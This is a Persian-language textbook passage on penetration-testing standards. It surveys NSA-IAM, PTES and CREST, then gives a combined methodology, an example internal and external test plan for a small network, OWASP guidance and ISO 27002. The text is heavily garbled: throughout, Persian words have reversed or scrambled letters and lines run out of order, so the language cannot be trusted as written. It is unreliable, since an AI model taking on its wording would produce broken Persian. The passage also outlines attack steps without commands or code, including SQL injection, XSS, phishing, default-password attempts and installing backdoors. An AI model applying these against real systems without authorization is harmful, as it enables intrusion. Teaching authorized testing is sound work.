 NIST با دیبا که دیده نمی انجام ینفوذ تست اگر یحت ،کرده ینیبازب را استاندارد نیا است

 باشد. داشته قتمطاب 800-155
 

 یمل تیامن آژانس اطلاعات امنیت یابیارز روش

National Security Agency InfoSec Assessment Methodology (NSA-IAM) . 
 شدرح  را یکلد  فداز  سده  NSA-IAM یملد  تید امن آژاندس  اطلاعات امنیت یابیارز شناسی روش
 شوند. انجام فاز آن در دیبا کهاند شده میتقس یخاص یکارها به کی هر که دهد می
 یابیارز شیپ Pre-Assessment 

 دیکن تیریمد و نییتع را یمشتر انتظارات. 
 دیآور دست به را سازمان اطلاعات تیاهم درک. 
 دیکن نییتع را یمشتر اهداف و عملیاتی اهداف. 
 دیکن مشخص را ستمیس یمرزها. 
 ی.مشتر با یهماهنگ 
 دیکن درخواست را اسناد. 
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 محل در یابیارز On-Site Assessment 
 دیده انجام را هیافتتاح جلسه. 
 اسناد( بازبینی و ستمیس شینما مصاحبه، قیطر )از ستمیس اطلاعات دییتأ و یآور جمع . 
 اطلاعات. یابیارز لیتحل و هیتجز 
 دیکن نیتدو را هیاول های هیتوص. 
 خلاصه طور به ارائه. 
 یابیارز از پس Post-Assessment 

 اسناد یلیتکم بازبینی. 
 (دیریبگ کمک خود مطالب درک ی)برا تکمیلی تخصص  
  نوشتن( )و یهماهنگ گزارش  
 اسدت.  توجه قابل نفوذ کننده تست هر یبرا که دارد وجود یکل ینما نیا مورد در یادیز موارد
 یشخصد  کندد.  مدی  تیریمدد  را یمشتر انتظارات ،یابیارز شیپ مرحله در که دیباش داشته توجه
 و سددوءتفاهم از یریجلددوگ منظددور بدده اسددت. کددرده اسددتخدام نفددوذ تسددت انجددام یبددرا را شددما
 انجدام  یکدار  چده  قداً یدق نفدوذ  تسدت  کده  بفهمد یمشتر که است مهم اریبس ،ابعد های یتینارضا
 در شدما  از NSA-IAM ،یابید ارز شیپد  مرحله در نیهمچن دهد. نمی انجام یکار چه و دهد می
 نید ا شدود.  مدی  مطلع یمشتر اهداف و عملیاتی اهداف نیهمچن و هدف های شبکه تیاهم مورد
 همده  میکن یسع که ستین ساده که میا کرده بحث قبلاً است. هدفمند نفوذ تست کی از قسمتی

 سدازمان  نید ا یبدرا  هدا  سدتم یس نکده یا درک با .باشد می یعمل ریغ همینطور و میکن تست را زیچ
 را حیصدح  اهدداف  دید توان مدی  ،یمشدتر  اهداف و عملیاتی اهداف درک با و باشند می ترین مهم
 .دیکن انتخاب خود نفوذ تست یبرا

 یبدرا  تخصدص  گرفتن کنم. می معطوف یابیارز از پس فاز در خاص مورد کی به را شما توجه
 شدامل  تدان نفوذ تسدت  اگدر  .اسدت  رممکنیغ کس هر یبرا زیچ همه دانستن شماست. به کمک
 فدن  نید ا در که یکس از دیبا ،دیباش نداشته تخصص ها آن در است ممکن که است هایی یفناور
 متخصدص  کید  فقط ندارد، نفوذ کننده تست به یازین شخص نیا .دیریبگ کمک باشد می هخبر
 .باشد می وی خاص یآور فن در

NSA-IAM یابیارز سطح است. یتیامن تست سطح سه یدارا I و هدا  اسدت یس یبررسد  حدال  در 
 II یابید ارز سدطح  است. ممیزی کی اندازه به بلکه ،باشد نمی تست کی واقع در است. ها روش
 است. نقص افتنی و صیتشخ یبرا یابزار از استفاده شامل
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 تسدت  که نجاستیا شود. می دهینام (Red Team exercises )قرمز میت اعمال III یابیارز سطح
 دهد. می رخ نفوذ
 یسداز  هیشدب  هددف  کده  اسدت  نید ا اسدت  برجسدته  III سطح یابیارز مورد در که یموارد از یکی

 انجدام  گسدترده،  نفوذ تست کی انجام یجا به که باشد می گونهنیا هدف .باشد می خاص مهاجمان
 مدل. آن با مطابق نفوذ تست انجام سپس و خاص مهاجم کی فیتوص یبرا دیتهد یساز مدل
 ییجندا  گدروه  کید  یاحتمدال  حملده  کده  شدود  مشخص دیتهد یساز مدل با اگر مثال، عنوان به

 نقدض  یمدال  هدای  داده سدرقت  هددف  با خاص طور به را شبکه دارد قصد که است افتهی سازمان
 شود. انجام روش نیا به دیبا نفوذ تست کند،
 

PTES 
 را مرحلده  هفدت  Pen Testing Execution Standard (PTES) نفدوذ  تسدت  یاجدرا  استاندارد
 است. شده داده نشان 2-4 شکل در که کند می هیتوص

 
 

 PTES مرحله هفت .2-4 شکل
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 از قبدل  تسدت  اطلاعدات  یآور جمدع  شدامل  اول مرحله چهار فرایند، نیا در که است ذکر قابل
 PTES تیسددددا وب در دقیددددق صددددورت بدددده مرحلدددده هفددددت .باشددددد مددددی نفددددوذ

(http://www.penteststandard.org) نکدات  بخدش  نید ا در اسدت.  شده دهدا شرح لیتفص به 
 ،اتید جزئ و دید کن دیبازد تیسا وب از کنم می هیتوص داًیاک اما کرد، میخواه یبررس را کلیدی
 .دیکن یبررس را PTES دهندگان توسعه فرایند کل
 مشخص را حوزه ابتدا کند می هیتوص PTES ،تعهدکاری از قبل های تیفعال از یبخش عنوان به
 بحث یقبل یاستانداردها به اشاره با تست )دامنه( حوزه واضح درک به ازین مورد در .دیکن

 را یمشتر با جلسه حوزه، به مربوط مسائل درمورد گفتگو و بحث منظور به PTES .میا کرده
 در شما به کمک یبرا را یاساس یارهایمع یبرخ PTES ،حوزه بر علاوه کند. می شنهادیپ

 دهد. می ارائه فوذن تست انجام یبرا لازم زمان برآورد
 نفوذ تست هر در دیتوان می کنم می فکر که دهد می ارائه PTES که هایی یژگیو از یکی

 یمشتر به دیبا که را یاساس الاتوس از یبرخ PTES است. پرسشنامه از استفاده ،دیکن استفاده
 اهداف مورد در ها داده یآور جمع یبرا یرسم سمیمکان کی نیا کند. می انیب ،دیکن ارسال
 کند. می فراهم را ها آن انتظارات نیهمچن و یمشتر هدافا و عملیاتی
 را فرایند نیا PTES و است مؤثر نفوذ تست هر از یاساس یبخش شهیهم آگاهی یآور جمع
 در هدف شبکه مورد در شما ،دانش و آگاهی یآور جمع حالت در کند. می فیتوص کاملاً
 که دارد وجود یخاص یاستانداردها ایآ که دیفهم یم مثال، عنوان به دیهست یریادگی حال

 تست یزیر برنامه در یعامل دیبا (،کهPCI DSS مانند) کند یرویپ ها آن زا دیبا هدف سازمان
 Openآزاد اطلاعاتی منابع در پیشرفته جستجوی از استفاده با دیتوان می نیهمچن باشد. تان نفوذ

source intelligence (OSINT)، نظر مورد سازمان در یعموم طور به که را یشتریب اطلاعات 
 .دیربگذا فراتر قدم آزاد اطلاعاتی منابع در پیشرفته جستجوی از استفاده با است، دسترس در
 نیبنابرا کند، می ییراهنما را یواقع مهاجمان که باشد می شده بندی طبقه اطلاعات ینوع نیا
 کند. ییراهنما نیز را شما نفوذ تست دیبا

 مدل و هدف سازمان کی یبرا یاحتمال یدهایتهد گرفتن نظر در فرایند ،دیتهد یساز مدل
 که دیبفهم دیکن می یسع شما که معناست بدان نیا است. دهایتهد نیا تحقق یچگونگ یساز

 تست تیهدا در تواند می که ،کنند می حمله چگونه و هستند یکسان چه یاحتمال نیمهاجم
 اشد.ب ارزشمند اریبس شما نفوذ
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 یآور جمع از )گذار( انتقال (،Vulnerability analysis) پذیری آسیب لیتحل مرحله
 از ای گسترده فیط از دیتوان می ها پذیری آسیب کشف در کمک یبرا است. عمل به اطلاعات
 استفاده کرد( میخواه یبررس مفصل طور به کتاب نیا در بعداً )که پذیری آسیب یاسکنرها

 بود. خواهد یتانعواق حمله اهداف اساساً لیتحل و هیتجز نیا .دیکن
 یسع ،یقبل شده ییشناسا های پذیری آسیب قیطر از (،exploitation) برداری بهره مرحله در

 ذکر انیشا افتد. می اتفاق یواقع هک که نجاستیا .دیکن نقض را هدف شبکه کرد دیخواه
 کردن، هک انجام از قبل دهد. نمی رخ کار مراحل تا هک ،یا حرفه نفوذ تست در که است
 .شود می انجام یادیز یکارها
 افتادن خطر به از بعد بلکه ،ستین تست از بعد (post-exploitation) برداری بهره از پس مرحله

 در شما که باشد می ای مرحله نیا که کند می حکم PTES استاندارد است. خاص ستمیس کی
 یبرم قدم یدسترس حف  یبرا و دیکن می نییتع اید انداخته خطر به که را یستمیس مقدار آن
 Back) یپشت درب نصب ای ستمیس در یکاربر حساب کی جادیا شامل است ممکن نیا .دیدار

door) .باشد 
 کی شود. می دیتول تینها در یینها محصول که است ییجا (،reporting) گزارش مرحله
 هایی پذیری آسیب چه شده، استفاده هایی کیتکن چه قاًیدق دهد نشان و باشد قیدق دیبا گزارش
 شده کشف که را مواردی توان می چگونه :مهمتر همه از و و اند گرفته قرار برداری بهره مورد
 کرد. اصلاح

 
CREST (UK) . 

CREST یبریسا تیامن نهیزم در نامهیگواه صدور و آموزش که است یرانتفاعیغ سازمان کی 
 دهد می ارائه را

. (www.crest-approved.org)  
CREST دارد. وجود زین یشمال یکایآمر و ایآس در اکنون اما بود انگلستان در فقط ابتدا 
CREST امتحان ما بحث یبرا مورد نیمهمتر داد، انجام توان می که دارد امتحان نیچند Crest 

Registered Tester (CRT) است. 
 مسائل واقعاً دیبا امتحان کننده شرکت آن در که است یعمل امتحانات CREST امتحانات
 و ستین استاندارد CREST که یحال در د.نکن برداری بهره ها آن از و کرده دایپ را یخاص
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 یبررس قابل که دارد وجود نامهیگواه آن در یموارد ،شود می محسوب نامهیگواه کی شتریب
 کند. درک را یمجاز یفضا به مربوط نیقوان ابتدا کننده تست شخص که دارند ازین است.آنها

 هر یبرا اما دهد، نمی پوشش را ما بحث مورد یاستانداردها ریسا که است یزیچ نیا
 .باشد می ضروری نفوذ کننده تست
 محددوده  تدا  خواهدد  مدی  کنندده  تسدت  از CREST امتحدان  ،گدر ید یاسدتانداردها  از یاریبسد  مانند
(Scoping) میکدرد  بحدث  هدا  آن مورد در که ییاستانداردها ریسا برخلاف کند. درک را پروژه، 

 یبدرا  است ممکن .دارد نیاز شبکه زمینه در کاری دانش حداقل به CREST امتحان کننده شرکت
 شدما  بده  و اسدت  مناسدبی  اریبس دهیا آن به ازین خاص طور به اما باشد، واضح نفوذ کننده تست کی

 در .اسدت  شدرایط  واجدد  تست انجام برای نفوذ کننده تست کنید حاصل اطمینان تا کند می کمک
-CREST (http://www.crestapproved.org/wp یدرسد  برنامده  از یتدوجه  قابدل  بخش واقع،

content/uploads/crest-crt-cpsa-technical-syllabus-2.0.pdf) شدبکه  یاساس یهارتهام به 
 است. افتهی اختصاص

 

  واحد( کردیرو کی در استانداردها دادن )قرار سنتز کی

 A Synthesis (Putting Standards Together into a Single Unified 

Approach).  

 ادغدام  بدا  هسدتند.  یخاصد  قدوت  نقداط  یدارا فصل نیا در بحث مورد یاستانداردها از کی هر
 نفدوذ  هدای  تسدت  انجدام  یبدرا  (map) ای نقشده  نفدوذ  کنندده  تسدت  واحد، کردیرو کی در ها آن

 در آنچه که است ذکر به لازم شود. می ساخته محکم ای هیاپ اساس بر نقشه نیا و داشت خواهد
 خدود  طیشدرا  ازید ن صورت در دیبا شما و است یکل طرح کی است، شده داده شرح بخش نیا
 .دیده گسترش را

 از یدک  هدر  از عناصدری  که است ای مرحله چهار فرایند یک بخش این در شده توصیف روش
 سددازگار اسددتانداردها آن بددا و کنددد مددی ترکیددب هددم بددا را شددده توصددیف قددبلاً اسددتانداردهای

 الدذکر  فدوق  یاستانداردها از کی هر با همراه تواند می ای مرحله چهار روش نیا ،نی.بنابرااست
 فیتوصد  را خداص  تسدت  کید  یبدرا  نفدوذ  تسدت  یبدرا  شدما  کدرد یرو شرو نیا شود. استفاده
 است: ریز موارد شامل که ،کند می
 . (یخاکستر جعبه تست ،دیسف جعبه ،اهیس جعبه مثال عنوان ه)ب شده داده اطلاعات مقدار. 1
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 شود؟ می انجام (رهیغ و NSA-IAM، PCI ) ها استاندارد یبرخ یبرا تست نیا ایآ. 2
 هاست؟ نهیگز آن از یکی فقط ای بوده یخارج و یداخل تست شامل تست عملیات ایآ .3
 است؟ یاجتماع یهندسم ای / و یکیزیف نفوذ تست شامل تست عملیات نیا ایآ .4
 ست؟یچ خودکار و یدست تست از یبیترک .5
 نمونه کی کند. فیتوص را خاص روش آن انتخاب لیدلا دیبا شناسی روش مهمتر، همه از
 باشد: ریز مثال به هیشب یزیچ است ممکن روش هیانیب
 ستا یخارج و یداخل تست شامل و باشد می انجام حال در PCI DSS یازهاین یبرا تست نیا
 (دیسف جعبه تست کی مثال عنوان )به کننده تست به گسترده اطلاعات دادن قرار اریاخت در با و

 تست نیا بود. نخواهد یاجتماع یمهندس ای یکیزیف تست شامل خاص تست نیا شود. می انجام
 :شود می گرفته بکار زیر یاصل هایابزار با که باشد می یدست و خودکار فیوظا لشام

Metasploit 
OWASP ZAP 
Vega 
Nmap 
Nessus 

 .رندیگ می قرار استفاده مورد یدست تست های کیتکن با همراه ابزارها نیا
 کنترلهای ارزیابی با کار این .شود می آغاز خارجی و داخلی پذیری آسیب های اسکن با تست
 به دستی صورت به شود می تلاش سپس .شود می دنبال خاص PCI DSS نیاز مورد امنیتی
 .کند نفوذ شبکه
 یچگونگ شروع نقطه عنوان به صرفاً یقبل مثال شوند. می داده حیترج معمولاً شتریب اتیجزئ البته
 است. شده گرفته نظر در یاساس )متدولوژی(شناسی روش گزاره دنیرس نظر به
 

 Pre-Engagement کاری تعهد از قبل

 :باشد ریز اردمو شامل دیبا نیا است. کامل قرارداد تعهد قبل عنصر نیمهمتر
 تست. حوزه .1
 .شود تست دینبا که یمورد هر .2
 تست. اهداف .3
 تست. یزمان بازه .4
  (رهیغ و PCI DSS، NIST) .شود تیرعا دیبا که یاستاندارد هر .5
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 است واضح شود. می نفوذ تست یمشتر تیرضا عدم به منجر احتمالاً قرارداد در ابهام هرگونه
 موارد از یکل ینما یقبل ستیل ولی شود، می داده حیترج یقرارداد هر یبرا یحقوق مشاوره که
 شود. مطرح قرارداد در دیبا که است یفن

 عدم است. یاتیح زین کاری تعهد از قبل مرحله در اطلاعات یآور جمع قرارداد، بر علاوه
 عاتاطلا شود. اجرا ای غلط تست به منجر تواند می مرحله نیا در مناسب اطلاعات یآور جمع
 :دیکن یآور جمع را ریز موارد به مربوط

 شما که است بدیهی .است مهم هایی نقض چنین به مربوط جزئیات .گذشته نقض گونه هر .1
 .کنید شروع تست با ،نیست ها آن خطر معر  در دیگر شبکه اینکه از اطمینان برای
 به تواند می اطلاعات این است. شده انجام اخیرا ممیزی یا ریسک تحلیل و تجزیه گونه هر .2

 .است مهم تست برای ناحیه کدام که کنید تعیین تا کند کمک شما
 ییراهنما مناسب ناحیه تست به را شما تواند می امر نیا دارد. یمشتر که یخاص های دغدغه .3

 .کند
 دهد انجام تواند می نفوذ تست آنچه و حوزه مورد در یمشتر و شما که دیکن حاصل نانیاطم .4
 باشد. داشته ای نانهیب واقع انتظارات یمشتر که است نیا مهم .دیکن می فقتوا
 است. مطلوب شهیهم شتریب اطلاعات .ستین جامع اما ،باشد می یزدن مثال قبلی ستیل
 

 The Actual Test یواقع تست

 نفوذ تست است. یواقع نفوذ تست انجام یبعد مرحله ،تعهدکاری از قبل مرحله اتمام از پس
 به شتریب یواقع تست .باشد می مهم اندازه همان به مرحله هر است. ای مرحله چند رایندف کی

 شود: می میتقس فرعی فاز چهار
 اطلاعات شتریب هرچه یآور جمع با : (Passive scanning منفعل) یا رفعالیغ اسکن - 1 فاز
 ،است رفعالیغ اطلاعات یآور جمع مرحله ،فاز نیا .دیکن می شروع را نفوذ تست هدف، یرو
 های داده تمام است. رهیغ و netcraft.com، archive.org ،یاجتماع های رسانه شامل که
 مانند یمنابع با همراه گوگل شرفتهیپ یجستجو .دیآور دست به دیتوان می که رفعالیغ

shodanhq کند. فراهم هدف شبکه مورد در یادیز اطلاعات تواند می 
 است. هدف شبکه فعال اسکن شامل مرحله نیا : (Active scanning) فعال اسکن - 2 فاز

 حداقل سپس .کنید استفاده nmap از موجود IP های آدرس هیکل پورت اسکن یبرا حداقل،
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 اسکن یبرا را (رهیغ و Vega، OWASP ZAP، Burp Suite) مختلف پذیری آسیب اسکنر دو
 قابل IP های آدرس قیطر از دیتوان می نیهمچن .دیکن استفاده موجود های تیسا وب تمام
 .دیده انجام را پذیری آسیب اسکن (رهیغ و Nessus، MBSA، OpenVAS) یدسترس
 .دیکن یآور جمع رهیغ و ها پورت ها، سیسرو مورد در را ممکن های داده لزوم، صورت در
 رهیغ و SQL، SSH، FTP، SMB یسرورها اسکن یبرا Metasploit از لزوم، صورت در

 .دینک استفاده
 تیامن دیتوان می کار نیا با شود. می هیتوص زین بلوتوث و میس یب اسکن همراه به شبکه اسکن

 را شود می ارسال شبکه قیطر از نشده یرمزگذار های داده ایآ نکهیا ،دیکن مشخص را میس یب
 .دیده ارائه شبکه کیتراف از یکل ینیبازب کی ای و دیکن کشف
 قیتزر یدست انجام شامل که ،دیکن تخلف دیکن تلاش دیبا نوناک (:Breaching) نقض – 3 فاز

SQL از بدافزار لیتحو یبرا تلاش ،تیسا قیطر از یسینو اسکریپت و Metasploit، به اقدام 
 دو هر نفوذ کننده تست عنوان به شود می هیتوص است. رهیغ و ضرر یب روسیو انتقال ،نگیشیف

 ،یفعل روند به توجه با است ممکن خاص یارهاابز .دیکن بیترک را یدست و خودکار روش
 شبکه کی مثال، عنوان به باشند. داشته یمتفاوت هدف شبکه و شده ییشناسا های پذیری آسیب

 باشد. داشته ازین Power Shell از استفاده با برداری بهره یبرا تلاش به است ممکن ندوزیو
 های پذیری آسیب از )اکسپلویت(برداری هبهر یبرا تلاش در Metasploit موارد، همه در باًیتقر
 بود. خواهد دیمف شده ییشناسا
 اسکن کی حداقل انجام موارد، یبرخ در : (Completing the test) تست لیتکم - 4 فاز

 نشان ها یبررس نیا است. دیمف نفوذ تست در موجود مشکلات رفع از پس یاساس پذیری آسیب
 .خیر یا است بوده میزآ موفقیت حیهاصلا این ایآ که دهد می
 

 Reporting یسینو گزارش

 :ریز های بخش صورت به باشد، کامل دیبا گزارش

o ییاجرا خلاصه اول  
 دهد. می حیتوض را جینتا و تست حوزه که پاراگراف سه تا کی

o مقدمه دوم 
 شامل دیبا نیهمچن بخش نیا .دیکن می فیتوص را تست اهداف و مقصود که است ییجا
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 یلیدل هر به که است یموارد شامل یمستثن موارد باشد. استثنا و شده تست اردمو ،تست اهداف
 هب اغلب ،کهشوند می گذاشته کنار یمشتر دستور با که یموارد نیهمچن و اید نداده انجام
 شود. می دهینام کار حوزه عنوان

 نیچن باشد. سکیر یابیارز ای گذشته نقض هرگونه و تعهدکاری نیقوان شامل دیبا بخش نیا
 باشد. شما نفوذ تست یبند تیاولو یبرا ییراهنما دیبا گذشته های تیفعال

o قیدق لیتحل و هیتجز سوم 

 صفحه از هایی عکس و گام به گام بحث با حاًیترج ،دیا داده انجام که باشد تستی هر شامل دیبا
(screenshot). به را ارشگز آن کند، می دیتول گزارش که اید کرده استفاده یابزار از اگر 

 .دیکن وستیپ مهیضم عنوان
 کی با را ها آن است ممکن که زمان هر ،دیکن می ییشناسا را ها پذیری آسیب که یهنگام

 مثلا: .دیکن ییشناسا شده شناخته استاندارد

 یمل پذیری آسیب داده گاهیپا The National Vulnerability Database 

 مشترک پذیری آسیب یازدهیامت ستمیس Common Vulnerability Scoring System 

 مشترک مواجهه و پذیری آسیب Common Vulnerabilities and Exposure 

 شناسه Bugtraq 

o ریسک یبند رتبه و یریگ جهینت چهارم 

 ریسک یبند رتبه .دیده ارائه را آن ریسک زانیم و دیکرد دایپ آنچه مورد در یکل حاتیتوض
 به تواند می و ستین مطلق یاضیر اسیمق به یازین .باشد دیمف یمشتر یبرا تواند می شبکه
 مانند داد گسترش را آن توان می ای د،باش ادیز متوسط، کم، مانند یفیتوص حالت به یسادگ
 .(low, moderate, elevated, high, extreme) دیشد ،ادیز ،تفعمر متوسط، کم،

o اصلاح مراحل پنجم 

 نفوذ تست در موجود نقص کاهش و نقص یافتن یچگونگ مورد در یاتیجزئ بخش نیا در
 اعتماد مورد یفن شخص هر به تا باشد خاص یکاف اندازه به دیبا اتیجزئ نیا است. شده ارائه
 است. گزارش مهم قسمت نیا کند. اصلاح اید کرده کشف که را یمشکلات تا دهد اجازه
 نیا رفع یگونگچ مورد در دیبا بلکه ،ستین یکاف دارد وجود یمشکل نکهیا انیب صرفاً

 .دیده ارائه یروشن ییراهنما مشکلات
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 Example Pen Test نفوذ تست نمونه

 که یموارد و یکار حوزه هدف، شبکه به کرد دیخواه استفاده یابزار و ها تست چه از نکهیا
 نظر در را کوچک شبکه کی ،یرسازیتصو اهداف یبرا دارد. یبستگ هستند تست حال در
 ریز موارد است. سرور وب 1 و سرور 3 ،یکار ستگاهیا 30 روتر، وازهدر 1 یدارا که دیریبگ
 فقط نیا که دیباش داشته توجه است. کوچک شبکه کی یبرا مقدماتی اریبس فوذن تست کی
 شبکه درون های ستمیس تیاهم اساس بر دیبا شما تست یابیارز (plan) طرح است. مثال کی

 باشد. هدف
 

 External یخارج

 یبعد مرحله فعال اسکن ،1 فاز فعال ریغ اسکن و تعهدکاری از قبل های تیفعال انجام از پس
 به فعال اسکن است، شده داده شرح ویسنار نیا در آنچه مانند کوچک، شبکه کی در است.
 ترین ساده یخارج تست با اغلب کند. می نقض که کند، می دایپ انیجر 3 فاز در یعیطب طور
 شود. می شروع کار
 روتر( دروازه و وب سرور )با دارد عمومی رویه که IP که یآدرسها تمام پورت ناسک با .1

 .دیکن شروع
 Vega، OWASP ZAP، Burp ) تیسا وب اسکن یبرا پذیری آسیب یاسکنرها از سپس .2

Suite دیکن استفاده (رهیغ و. 
 ،SQL قیتزر ،تیسا نیب یسینو اسکریپت) سرور وب به رایج حمله نیچند یدست طور به .3

 .دیکن امتحان را (رهیغ و تیسا وب ریمس از عبور
 ممکن .دیکن امتحان روتر و سرور( به باتوجه) سرور وب به را متااسپلویت مناسب حملات .4

 ناشناس FTP اسکن ژهیو به سرور، وب در متااسپلویت های اسکن یبرخ از دیبخواه است
 .دیکن استفاده

 و Wi-Fi به ورود یبرا تلاش شامل دیبا که ،(wireless) میس یب به یدسترس یبرا تلاش .5
 .باشد می میس یب نقطه به یدسترس یبرا ادمین صفحه به یدسترس یبرا تلاش نیهمچن
 .دیکن امتحان را رهیغ و منطقه انتقال بنر، گرفتن مانند استاندارد حملات .6
 .دیکن انامتح دارد، یعموم رویه که دستگاه هر در را فر  شیپ عبور رمزهای .7
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 Internal یداخل

 .شود می انجام شبکه داخل در قسمت نیا
 .دیکن شروع است، یداخل فعال اسکن که شبکه، شمارش با .1
 .دیده انجام ابزار چند ای کی از استفاده با را شبکه پذیری آسیب اسکن .2
 در ها سیسرو و ها پورت کدام که دیکن مشخص .دیکن اسکن را شبکه کل Nmap توسط.3

 .ریخ ای هستند اجرا حال
 .دید کن اسدتفاده  sniffer packet کی از ،میس یب کیتراف جمله از شبکه کیتراف اسکن یبرا -4
 امدن  میسد  یبد  کید تراف اید آ نکهیا و شود می ارسال یرمزگذار بدون که حساس داده هرگونه به
 .باشید داشته توجه باشد می
 را (رهید غ و SMB، SSH، SQL Server ،ناشدناس  FTP) متااسدپلویت  اسدتاندارد  هدای  اسکن -5

 .دیده انجام
 .شده افتی پذیری آسیب هرگونه از (exploit) برداری بهره یبرا تلاش .6
 جمله: از دیکن امتحان را استاندارد حملات .7

 .دیشو متصل (computers’ shares)ها کامپیوتر اشتراک به دیکن یسع .الف
 .دیکن یرمزگذار یاصل های نیماش در را عبور یرمزها دیکن یسع .ب
 .کنید استفاده ssh ای telnet از چاپگرها یبرا دیکن یسع .ج
 میس یب یدسترس نقاط و هاروتر ای چیسوئ چاپگر، سرور، هر در را فر  شیپ عبور یرمزها .د
 .دیکن امتحان را

 .دیکن تست ،دیکن می استفاده که را یاستاندارد هر توسط شده داده نشان موارد تمام دیبا البته،
 دارد. یاعتبار کارت های داده یخارج ارتباطات تمام یرمزگذار به ازین PCI مثال، عنوان به
 .دیکن تست را یخارج و یداخل های داده ارتباطات تمام کنم می شنهادیپ
 

 Optional Items یاریاخت موارد

 تیهدا مانند است یضرر یب کار که دیکن ارسال کارمندان یبرا را ناشناس نگیشیف لیمیا -1
 یب بدافزار وستیپ ای هالینک یرو تا کند می ییراهنما را ها آن که است ای صفحه به ها آن
 شود می داده اطلاع ها آن به باشد، می (popup) بازشو ای (voice) صدا یدارا فقط که یضرر
 نکنند. دانلود را وستیپ لیفا و نکنند کلیک که
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 .دهید انجام شخصی یا تلفن طریق زا را اجتماعی مهندسی عملیات .2
 باشد پذیری آسیب اسکن شامل تواند می ولی ،ستین پذیری آسیب اسکن ،نفوذ تست .3

 یگاه ولی ،باشد نمی نیز ممیزینفوذ، تست کی ،بیترت نیهم به . (شد ذکر قبلاً که طور )همان
 ریز موارد دیواهبخ است ممکن حساب، نیا با باشد. ممیزی کی عناصر شامل تواند می اوقات
 :دیکن یبررس را

 عبور رمز های استیس .الف
 از که دیکن یبررس .4 عبور رمز رییتغ بار چند .3 ازهاین حداقل .2 کردن قفل استیس .1 

 باشد. نشده استفاده یستمیس چیه در فر  شیپ عبور یرمزها
 دارد؟ وجود شبکه از جایی در یرمجازیغ افزار نرم ای دستگاه ایآ .ب
 است؟ فعال ستندین سازمان نیا در گرید که یکارمندان های حساب هنوز ای.آج
 آن دیتوان می لیتما صورت در است. کوچک نسبتاً شبکه کی یبرا اساسی یکل طرح کی نیا
 نظر در نفوذ تست حداقل را آن دیبا و ،دیکن اضافه آن به خود دلخواه به و داده گسترش را

 گرفت.
 

 Related Standards مرتبط یاستانداردها

 ارتباط اما ،ستندین نفوذ تست یاستانداردها واقع در که دارد وجود یگرید یاستانداردها
 توانند می که هستند یتیامن یاستانداردها همچنین دارند. نفوذ تست یاستانداردها با یتنگاتنگ

 از فصل نیا لیاوا در مثال، عنوان به .گیرند قرار استفاده مورد شما نفوذ تست تیهدا یبرا
OWASP یسادگ به که استانداردی برخلاف تست بردم. نام وب تینام استاندارد کی عنوان به 

 .دارد ارجحیت دیآ می شیپ شما یبرا که ای مسئله هر به نسبت Ad hoc های تست انجام
 

OWASP 

 Open Web) باز وب اپلیکیشن تیامن پروژه پس است، وب اپلیکیشن تیامن شما دغدغه اگر

Application Security) و ها چارچوب استاندارد، مورد جستجودر شروع یبرا یمنطق مکان 
 فیط دیتوان می ،OWASP، https://www.owasp.org تیسا وب در است. ها دستورالعمل

 های کنترل ستیل منابع، گرید از .دیکن دایپ وب های اپلیکیشن تیامن یبرا را منابع از یعیوس
 است: وب دهندگان سعهتو یبرا OWASP یتیامن
 .دیکن دییتأ بکرات و ابتدا در تیامن یبرا .1
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 . ها( کوئری )ها داده شینما کردن پارامتری .2
 .ها داده یرمزگذار .3
 .ها یورود تمام یاعتبارسنج .4
 .دیکن یساز ادهیپ را ییشناسا و تیهو احراز های کنترل .5
 .دیکن اجرا را مناسب یدسترس های کنترل .6
 .دیکن محافظت ها داده از .7
 .دیکن یساز ادهیپ را نفوذ صیتشخ و وقایع)لاگین( ثبت -8
 .یتیامن های کتابخانه و ها چارچوب توسط اهرم بردن بکار شیوه .9
 .استثنا و خطا تیریمد .10
 شبرتر پذیری آسیب 10 ستیل است شده شناخته آن خاطر به شتریب OWASP آنچه دیشا

 های سال در وب های اپلیکیشن در که کنند می دایپ را برتر پذیری یبآس 10 سال چند هر باشد.
 وب های اپلیکیشن تیامن نگران که یکس هر شروع یبرا مکان نیا است. شده دایپ گذشته
 .دبپرداز معروف های پذیری آسیب نیا به دیبا حداقلو باشد می العاده فوق یمکان باشد،

 

 استانداردها ریسا

 مرور ،رندیگ می قرار استفاده مورد معمولاً که را تیامن یعموم یانداردهااست ما بخش، نیا در
 ،دیباش داشته بخاطر اما .ستندین نفوذ تست مورد در خاص طور به استانداردها نیا کرد. میخواه
 به ارجاع ،نیبنابرا شود. می انجام هدف ستمیس کی تیامن تست یبرا شما نفوذ تست

 مشاهده تا باشید می کردن تست حال در شما باشد. دیمف اریبس ندتوا می یتیامن یاستانداردها
 هدف که را یمورد هر که است مهم .ریخ ای است برخوردار یکاف تیامن از هدف ایآ که کنید
 .شود مستند کند، برآورده را یتیامن یاستانداردها نتواند

 
ISO 27002 

 نیا شود. می استفاده یبریسا تیامن در گسترده طور به که باشد می ISO استاندارد کی
 تیامن تیریمد های ستمیس ینگهدار و یساز ادهیپ شروع، یبرا را ها روش نیبهتر استاندارد
 فقط که شود می شروع یمقدمات فصل پنج با خود استاندارد کند. می هیتوص (ISMS) اطلاعات

 با یاصل های فصل هد.د می ارائه را استاندارد دامنه و اصطلاحات مانند ها ییراهنما از یبرخ
 شود. می شروع 5 فصل
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 از یستیل دهند. می ارائه ISMS مناطق از یاریبس در را شده هیتوص یها روش نیبهتر آنها
 :است شده آورده نجایا در ها فصل
 Information Security Policies اطلاعات تیامن های استیس .5
 Organization of Information Security اطلاعات تیامن سازمان .6
 Human Resource Security یانسان منابع تیامن .7
 Asset Management ییدارا تیریمد .8
 Access Control یدسترس کنترل .9
 Cryptography یرمزنگار .10
 Physical and environmental security یطیمح و فیزیکی تیامن .11
 Operation Security procedures and یتددیامن هددای تیمسددئول و هددا هیددرو اتیددعمل .12

responsibilities 
 Communication security ارتباطات تیامن .13
 System acquisition, development and .سددتمیس ینگهدددار و توسددعه ،یابیدسددت .14

maintenance 
 Supplier relationships . کننده نیتأم روابط .15
 Information security incident management اطلاعات تیامن رخداد تیریمد .16
 Information security aspects کار و کسب تداوم تیریمد اطلاعات تیامن های جنبه .17

of business continuity management. 
 انتظار که باشد می اینگونه ،نفوذ تست منظر از حداقل ،استاندارد این جذاب های جنبه از یکی
 فرایند یک ،خود خاص شرایط با متناسب های کنترل انتخاب از قبل سازمانی هر رود می

 نی.ادهد انجام خود خاص نیازهای تعیین برای را اطلاعات امنیت ریسک ارزیابی ساختاری
 استاندارد از یبخش ها ریسک یابیارز یبرا یرسم روش کی از استفاده که است یمعن بدان
